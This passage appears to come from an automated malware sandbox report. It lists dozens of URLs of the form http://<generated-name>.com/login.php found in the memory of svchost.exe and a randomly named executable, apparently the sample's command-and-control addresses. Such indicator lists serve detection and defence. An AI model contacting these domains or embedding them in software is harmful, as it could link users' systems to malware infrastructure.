Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvymej.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvynid.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvysur.com/login.php
Source: svchost.exe, 00000002.00000003.2587482853.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvytan.com/login.phpq.com/
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388842672.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2207439218.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427598946.0000000003379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2485092483.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2649196751.00000000091F7000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://lyvytuj.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvywar.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2852112632.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2849287050.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2373591398.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvyxin.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvyxyj.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxyfar.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665309927.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608108.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2702056951.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2663825681.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2700192548.0000000003323000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxyfuj.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxygax.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxyjod.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184899677.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.0000000001555000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://lyxylux.com/login.php
Source: svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2365866545.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2373591398.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375028226.00000000033EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxylyj.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxymix.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxymix.com/login.phpE
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxynej.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2653309169.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxynir.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360864557.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2849292157.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2725544478.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxysad.com/login.php
Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxysad.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxyvyn.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375772840.0000000003361000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2365635316.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2849287050.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2373591398.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381004146.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376920856.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxywen.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000156A000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxywer.com/login.php
Source: svchost.exe, 00000002.00000003.2612263098.00000000040F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxywij.com/P
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxywij.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyxyxox.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341444075.00000000093C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufybop.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufycyq.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377062429.0000000003357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufydaq.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pufygav.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2237916986.000000000337D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001018000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, 